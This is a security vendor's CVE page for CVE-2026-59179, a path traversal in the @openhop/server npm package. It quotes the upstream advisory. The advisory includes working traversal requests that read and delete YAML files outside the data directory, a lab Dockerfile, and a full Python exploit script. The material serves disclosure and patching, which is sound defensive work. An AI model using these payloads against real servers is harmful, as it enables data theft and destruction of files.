HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 59179 openhopserver path traversal in flow id file
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright © 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
High · CVSS 8.3CVE-2026-59179GHSA-G72F-JW3W-MGH7

@openhop/server: Path Traversal in Flow ID File OperationsCVE-2026-59179

Answer in brief

CVE-2026-59179 records a High severity (CVSS 8.3) vulnerability in @openhop/server: Path Traversal in Flow ID File Operations. The current sources do not mark it as known exploited. The current feed maps @openhop/server (npm), @openhop/server (npm). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Sep 9, 2026Updated Sep 10, 2026Source checked Oct 25, 2026First seen by HOL Sep 9, 2026Material review Sep 10, 2026
Upstream Advisory

Key facts

Risk
High · CVSS 8.3
Exploitation
Not marked as known exploited
Affected software
2 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 8.3. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps @openhop/server (npm), @openhop/server (npm). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
@openhop/servernpm<=0.3.50.3.6
@openhop/servernpm>=0 <0.3.60.3.6

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for @openhop/server, @openhop/server.
  2. 2Review the reported fix. Update @openhop/server to 0.3.6; @openhop/server to 0.3.6 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Sep 9, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Sep 10, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Sep 9, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
Upstream source description

## Path Traversal in Flow ID File Operations ### Summary `@openhop/server` passes unsanitized HTTP route parameters directly to `path.join()` when constructing filesystem paths for flow YAML files. An unauthenticated attacker who can reach the server can read arbitrary `.yaml` files accessible to the OpenHop process outside the configured flow directory, and can delete arbitrary `.yaml` files at any path reachable by the process. Because CORS is set to `origin: true` (allow all origins), a victim's browser can be used to exploit the vulnerability against a loopback-bound instance. Docker deployments bind `HOST=0.0.0.0` by default, enabling direct remote exploitation. CVSS Base Score: **8.3 (High)**. ### Details `FlowStore.filePath()` in `packages/server/src/store.ts:52–53` constructs a filesystem path by concatenating the caller-supplied `id` directly into `path.join`: ```ts // packages/server/src/store.ts:52-53 private filePath(id: string): string { return join(this.dir, `${id}.yaml`) } ``` This result is consumed by two sinks: - **Read** (`packages/server/src/store.ts:78`): `readFile(this.filePath(id), 'utf-8')` - **Delete** (`packages/server/src/store.ts:105`): `unlink(this.filePath(id))` The `id` value originates from unauthenticated Fastify HTTP route parameters: - `GET /api/flows/:id` (`packages/server/src/routes.ts:306`) → `store.get(id)` at line 333–335 - `DELETE /api/flows/:id` (`packages/server/src/routes.ts:509`) → `store.delete(id)` at line 539–541 The route parameter schema at `packages/server/src/routes.ts:315` and `519` declares only `type: 'string'` with no pattern constraint or allowlist. Fastify's underlying router (`find-my-way`) applies `decodeURIComponent` to route parameters, so the URL segment `..%2Fvictim` is decoded to `../victim` before it reaches application code. Node.js `path.join('/data/flows', '../victim.yaml')` then normalizes to `/data/victim.yaml`, escaping the configured data directory. Additionally, `packages/server/src/index.ts:37` registers CORS with `origin: true`, permitting any browser origin to make cross-origin requests to the server. This makes the vulnerability exploitable via a malicious webpage against users running OpenHop locally. **Full data-flow (read path):** 1. HTTP `GET /api/flows/..%2Fvictim` received (`routes.ts:306`) 2. `find-my-way` decodes `..%2Fvictim` → `req.params.id = '../victim'` (`routes.ts:333`) 3. `store.get('../victim')` → `filePath('../victim')` → `join('/data/flows', '../victim.yaml')` → `/data/victim.yaml` (`store.ts:52–53`) 4. `readFile('/data/victim.yaml', 'utf-8')` returns file contents (`store.ts:78`) 5. Server responds HTTP 200 with YAML-parsed JSON body **Full data-flow (delete path):** 1. HTTP `DELETE /api/flows/..%2Fdelete-me` received (`routes.ts:509`) 2. `find-my-way` decodes `..%2Fdelete-me` → `req.params.id = '../delete-me'` (`routes.ts:539`) 3. `store.delete('../delete-me')` → `filePath('../delete-me')` → `join('/data/flows', '../delete-me.yaml')` → `/data/delete-me.yaml` (`store.ts:52–53`) 4. `unlink('/data/delete-me.yaml')` removes the file (`store.ts:105`) 5. Server responds HTTP 204 ### PoC **Environment setup (Docker):** ```bash # Build from repository root docker build -f vuln-001/Dockerfile -t openhop-vuln-001 . # Run with HOST=0.0.0.0 (default in the Dockerfile ENV) docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001 ``` The container creates `/data/flows/` as the configured flow store (`OPENHOP_DATA_DIR=/data/flows`) and places `/data/victim.yaml` and `/data/delete-me.yaml` outside that directory as traversal targets. **Attack 1 — Read file outside flow store:** ```bash curl -i --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fvictim' ``` Expected response: ```http HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 {"id":"victim","meta":{"title":"SECRET_OUTSIDE_FILE","description":"This file lives outside the configured flow store directory"},"flow":{"nodes":[{"id":"a","label":"Sensitive Data","type":"service"}]},"version":1,"createdAt":"2026-06-20T00:00:00.000Z","updatedAt":"2026-06-20T00:00:00.000Z"} ``` **Attack 2 — Delete file outside flow store:** ```bash curl -i -X DELETE --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fdelete-me' ``` Expected response: ```http HTTP/1.1 204 No Content ``` Verify deletion: ```bash docker exec openhop-vuln-001 sh -c 'test -e /data/delete-me.yaml && echo exists || echo deleted' # Output: deleted ``` **Automated PoC script:** ```bash python3 poc.py 127.0.0.1 8799 ``` **Recommended fix:** ```diff --- a/packages/server/src/store.ts +++ b/packages/server/src/store.ts +const FLOW_ID_PATTERN = /^[A-Za-z0-9_-]+$/ + private filePath(id: string): string { + if (!FLOW_ID_PATTERN.test(id)) { + throw new Error('Invalid flow id') + } return join(this.dir, `${id}.yaml`) } ``` ### Impact This is a **Path Traversal (CWE-22)** vulnerability. The `.yaml` file extension restriction limits confidentiality impact to YAML-format files (C:L), but the delete path allows permanent destruction of any `.yaml` file the process can reach (I:H, A:H). **Affected parties:** - **Users running `openhop serve` locally** — exploitable via a malicious webpage due to `cors({ origin: true })` allowing all browser origins to make cross-origin requests to `localhost:8799`. - **Docker/server deployments** — `HOST=0.0.0.0` is set by default in the official Docker environment, making all three routes directly reachable from the network without authentication. An attacker can: (1) read the contents of any `.yaml` file accessible to the OpenHop process, potentially leaking application secrets, configuration data, or other YAML-serialized data; (2) permanently delete any `.yaml` file accessible to the process, causing data loss or disruption of services that depend on those files. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # Dockerfile for VULN-001: Path Traversal in OpenHop Flow ID File Operations (CWE-22) # # Build context: the repository root (naorsabag/openhop) # Usage: # docker build -f vuln-001/Dockerfile -t openhop-vuln-001 . # docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001 # # Data layout inside the container: # /data/flows/ <- OPENHOP_DATA_DIR (the configured flow store) # /data/victim.yaml <- OUTSIDE the flow store (path traversal read target) # /data/delete-me.yaml <- OUTSIDE the flow store (path traversal delete target) # # The exploit payload "..%2Fvictim" is URL-decoded by find-my-way to "../victim", # so path.join('/data/flows', '../victim.yaml') resolves to /data/victim.yaml. FROM node:22-alpine WORKDIR /app # Copy package manifests so npm can resolve workspace dependency graph. COPY package*.json ./ COPY packages/server/package*.json packages/server/ COPY packages/shared/package*.json packages/shared/ COPY packages/cli/package*.json packages/cli/ COPY packages/web/package*.json packages/web/ # Copy TypeScript configs and source files BEFORE npm install. # The @openhop/server package has a "prepare" lifecycle that runs # `tsc && esbuild` during npm install, so all sources must be present. COPY tsconfig.base.json ./ COPY packages/server/tsconfig*.json packages/server/ COPY packages/server/src/ packages/server/src/ COPY packages/shared/src/ packages/shared/src/ # Install all workspace dependencies. # The @openhop/server prepare script will compile to dist/server.js. # We run the server via tsx (direct TypeScript), so the compiled output # is not required at runtime but the prepare step must not fail. RUN npm install # Set up the data directory layout for the PoC. # /data/flows/ -> configured as OPENHOP_DATA_DIR (the "safe" directory) # /data/victim.yaml -> outside the store; represents a sensitive file that # MUST NOT be reachable via the API without sanitization RUN mkdir -p /data/flows && \ printf 'id: victim\nversion: 1\ncreatedAt: "2026-06-20T00:00:00.000Z"\nupdatedAt: "2026-06-20T00:00:00.000Z"\nroot:\n meta:\n title: SECRET_OUTSIDE_FILE\n description: This file lives outside the configured flow store directory\n flow:\n nodes:\n - id: a\n label: Sensitive Data\n' \ > /data/victim.yaml && \ printf 'id: delete-me\nversion: 1\ncreatedAt: "2026-06-20T00:00:00.000Z"\nupdatedAt: "2026-06-20T00:00:00.000Z"\nroot:\n meta:\n title: DELETE_TARGET_FILE\n flow:\n nodes:\n - id: b\n label: Delete Target\n' \ > /data/delete-me.yaml # Server listens on 8799 inside the container. EXPOSE 8799 # OPENHOP_DATA_DIR constrains the flow store to /data/flows/. # HOST=0.0.0.0 makes the server reachable from outside the container. ENV OPENHOP_DATA_DIR=/data/flows ENV HOST=0.0.0.0 ENV PORT=8799 # Run the server via tsx (TypeScript runner; no compile step needed at runtime). CMD ["npx", "tsx", "packages/server/src/index.ts"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC: Path Traversal in OpenHop Flow ID File Operations (CWE-22) Target: @openhop/server 0.3.5 / openhop CLI 0.3.6 VULN-001 — CVSS 8.3 High Vulnerability: FlowStore.filePath(id) at packages/server/src/store.ts:52 performs: return join(this.dir, `${id}.yaml`) with no sanitization on `id`. The route GET /api/flows/:id passes `req.params.id` (decoded by find-my-way via decodeURIComponent) directly to store.get(id), which calls filePath(). A payload of "..%2Fvictim" in the URL is decoded to "../victim", causing path.join to escape the configured data directory. Attack Vectors: READ: GET /api/flows/..%2Fvictim -> reads /data/victim.yaml DELETE: DELETE /api/flows/..%2Fdelete-me -> deletes /data/delete-me.yaml Both routes are unauthenticated (routes.ts:306, 509). Usage: python3 poc.py [host] [port] python3 poc.py 127.0.0.1 8799 """ import http.client import json import sys import time HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 8799 # URL-encoded payloads: %2F is a percent-encoded "/" character. # find-my-way treats ".." and "%2F" together as a single path segment # (no literal "/" split), then decodes the segment to "../victim". TRAVERSAL_GET_PATH = "/api/flows/..%2Fvictim" TRAVERSAL_DELETE_PATH = "/api/flows/..%2Fdelete-me" def wait_for_server(host: str, port: int, timeout: int = 60) -> bool: """Poll until the OpenHop server returns any response on /api/flows.""" deadline = time.time() + timeout print(f"[*] Waiting for server at http://{host}:{port} ...") while time.time() < deadline: try: conn = http.client.HTTPConnection(host, port, timeout=2) conn.request("GET", "/api/flows") r = conn.getresponse() r.read() conn.close() print(f"[+] Server ready (HTTP {r.status} on /api/flows)") return True except Exception: time.sleep(1) return False def raw_http(method: str, host: str, port: int, path: str): """ Send an HTTP request with the path exactly as given — no normalization. http.client does NOT percent-decode or normalize the path string, so '..%2F' reaches the server verbatim and Fastify's router decodes it. """ conn = http.client.HTTPConnection(host, port, timeout=10) conn.request(method, path) resp = conn.getresponse() body = resp.read() conn.close() return resp.status, body def main() -> int: print("=" * 62) print("VULN-001 Path Traversal in OpenHop Flow ID File Operations") print("=" * 62) print(f"[*] Target : http://{HOST}:{PORT}") print(f"[*] Payload : ..%2F (decoded by find-my-way to ../)") print(f"[*] Store : /data/flows/ (OPENHOP_DATA_DIR)") print(f"[*] Outside : /data/victim.yaml /data/delete-me.yaml") print() if not wait_for_server(HOST, PORT): print("[-] Server did not become ready within timeout. ABORT.") return 1 print() passed_read = False passed_delete = False # ── Attack 1: Read a file outside the configured flow store ───────── print("[*] Attack 1 — READ path traversal") print(f" Request : GET {TRAVERSAL_GET_PATH}") print(f" Decoded : id = ../victim") print(f" Resolves: path.join('/data/flows', '../victim.yaml')") print(f" = /data/victim.yaml (outside flow store)") status, body = raw_http("GET", HOST, PORT, TRAVERSAL_GET_PATH) body_text = body.decode("utf-8", errors="replace") print(f" Status : {status}") print(f" Body : {body_text[:600]}") if status == 200: try: data = json.loads(body_text) title = data.get("meta", {}).get("title", "") if "SECRET_OUTSIDE_FILE" in title: print("[PASS] READ confirmed: HTTP 200 returned content of /data/victim.yaml") print(f" Leaked title field = {title!r}") passed_read = True else: print(f"[WARN] HTTP 200 but unexpected title: {title!r}") print(f" Full response: {data}") # Still count as read-traversal success if we got a valid flow back if "meta" in data or "flow" in data: print("[PASS] READ confirmed: path traversal returned a flow from outside store") passed_read = True except json.JSONDecodeError: print(f"[FAIL] HTTP 200 but response is not JSON: {body_text[:200]}") else: print(f"[FAIL] Expected HTTP 200, got {status}") print() # ── Attack 2: Delete a file outside the configured flow store ──────── print("[*] Attack 2 — DELETE path traversal") print(f" Request : DELETE {TRAVERSAL_DELETE_PATH}") print(f" Decoded : id = ../delete-me") print(f" Resolves: path.join('/data/flows', '../delete-me.yaml')") print(f" = /data/delete-me.yaml (outside flow store)") status, body = raw_http("DELETE", HOST, PORT, TRAVERSAL_DELETE_PATH) body_text = body.decode("utf-8", errors="replace") print(f" Status : {status}") if body_text: print(f" Body : {body_text[:200]}") if status in (200, 204): print(f"[PASS] DELETE confirmed: HTTP {status} — /data/delete-me.yaml deleted outside store") passed_delete = True else: print(f"[FAIL] Expected HTTP 204, got {status}") # ── Summary ───────────────────────────────────────────────────────── print() print("=" * 62) if passed_read and passed_delete: print("[RESULT] PASS — Both read and delete path traversal exploited") return 0 elif passed_read: print("[RESULT] PARTIAL — Read traversal confirmed, delete did not succeed") return 1 else: print("[RESULT] FAIL — Exploit did not succeed") return 2 if __name__ == "__main__": sys.exit(main()) ```

Quoted source text, attributed separately from HOL analysis.

Related CVEs

  • Path traversal in post media lets any registered user read server filesAlso CWE-22
  • Camaleon CMS before 2.9.3 Path Traversal RCE via Media crop_url ActionAlso CWE-22

Record context

Vulnerability class
Path Traversal
EPSS
Not reported
CWE IDs
CWE-22
Source
GitHub Security Advisories
Source checked
Oct 25, 2026
References
4 linked sources
Open source record